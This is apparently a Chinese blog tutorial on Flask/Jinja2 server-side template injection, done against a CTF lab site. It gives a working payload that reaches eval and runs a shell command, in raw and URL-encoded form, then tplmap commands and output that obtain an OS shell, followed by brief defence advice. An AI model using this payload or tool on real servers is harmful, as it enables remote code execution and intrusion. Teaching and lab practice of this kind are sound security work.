【WEB攻防】Flask(Jinja2) 服务端模板注入漏洞 原理+防御

中华人民共和国网络安全法(出版物)_360百科中华人民共和国网络安全法,《中华人民共和国网络安全法》是为保障网络安全,维护网络空间主权和国家安全、社会公共利益,保护公民、法人和其他组织的合法权益,促进经济社会信息化健康发展而制定的法律。《中华人民共和国网络安全法》由中华人民共和国第十二届全国人民代表大会常务委员会第二十四次会议于2016年11月7日通过,自2017年6月1日起施行。https://baike.so.com/doc/24210940-24838928.html

前面写CTF题目的时候做过几道SSTI模板注入的题目。最近又遇到了一个不错的CTF网站,

【WEB攻防】Flask(Jinja2) 服务端模板注入漏洞 原理+防御_第1张图片

http://bmzclub.cn

里面不但有CTF题目,更重要的是有漏洞环境,不需要自己去一个一个去安装。


目录

Flask模板注入简介

Flask和Jinja2介绍:

模板渲染原理

模板注入原因

复现

手动注入

 工具探测

模板注入的防御



Flask模板注入简介

Flask和Jinja2介绍:

1.Flask是一个轻量级的基于Python的web框架。

2.Jinja 模板只是一个属于Flask框架的文本文件,可以 基于模板生成任何基于文本的格式(HTML、XML、CSV、LaTeX 等),一般用在前端的项目中,渲染 HTML 文件。

模板包含变量或表达式,这两者在模板求值的时候会被替换为值。模板中还有标签,控制模板的逻辑。模板语法的大量灵感来自于 Django 和 Python 。

模板渲染原理

        首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。

        模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

后端渲染:浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在服务器端就已经完成。

前端渲染:前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于服务器后端压力较小,主要渲染在用户的客户端完成。

模板注入原因

  • 存在用户输入变量可控
  • 是了使用不固定的模板

复现

手动注入

输入测试语句,可以看到正常执行了我们的命令。

?name={{30*33}}

【WEB攻防】Flask(Jinja2) 服务端模板注入漏洞 原理+防御_第2张图片

 当然这就是执行一个简单的命令,并不会影响什么,接下来我们利用Flask框架中的命令语句执行系统命令。(下面的for循环是为了找到这个框架下的功能模块,在这个框架里,肯定是需要载入这个框架下的命令模块)

官方POC

{% for c in [].__class__.__base__.__subclasses__() %}
     {% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {undefined{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

放在url中需要编码,编码后的结果{%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}{%%20if%20b.__class__%20==%20{}.__class__%20%}{%%20if%20%27eval%27%20in%20b.keys()%20%}{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}{%%20endif%20%}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}

然后我们执行,发现命令执行成功。

【WEB攻防】Flask(Jinja2) 服务端模板注入漏洞 原理+防御_第3张图片

 工具探测

这里利用模板注入工具tplmap(不是sqlmap也不是tqlmap,别看错)安装教程:

kali linux 中tplmap的安装_小小个子大大幻想的博客-CSDN博客_kali安装tplmap

   探测是否存在注入

python tplmap.py -u http://www.bmzclub.cn:23596/?name

 存在,且模板为Jinjia2

 python tplmap.py -u http://www.bmzclub.cn:23596/?name
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Rerun tplmap providing one of the following options:

    --os-shell                          Run shell on the target
    --os-cmd                            Execute shell commands
    --bind-shell PORT                   Connect to a shell bind to a target port
    --reverse-shell HOST PORT   Send a shell back to the attacker's port
    --upload LOCAL REMOTE       Upload files to the server
    --download REMOTE LOCAL     Download remote files

获取shell

python tplmap.py --os-shell -u http://www.bmzclub.cn:23596/?name
python tplmap.py --os-shell -u http://www.bmzclub.cn:23596/?name     2 ⨯
[+] Tplmap 0.5
    Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $

执行命令

到这里就结束了 linux下语句没学多少

模板注入的防御

• 为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能。尽可能加载静态模板文件。
• 注意:我们已经确定此功能类似于require()函数调用。因此,你也应该防止本地文件包含(LFI)漏洞。不要允许用户控制此类文件或其内容的路径。
• 另外,无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果
 


作者水平有限,有任何不当之处欢迎指正。

本文目的是为了传播web安全原理知识,提高相关人员的安全意识,任何利用本文提到的技术与工具造成的违法行为,后果自负!
 

参考资料:

flask SSTI漏洞_jiet07的博客-CSDN博客_flask ssti

细说Jinja2之SSTI&bypass - 合天网安实验室 - 博客园

Tplmap的安装与用法(内包含解决缺少库报错的处理教程)_EC_Carrot的博客-CSDN博客_tplmap
kali linux 中tplmap的安装_小小个子大大幻想的博客-CSDN博客_kali安装tplmap
 

你可能感兴趣的:(web攻防学习,flask,安全,web安全)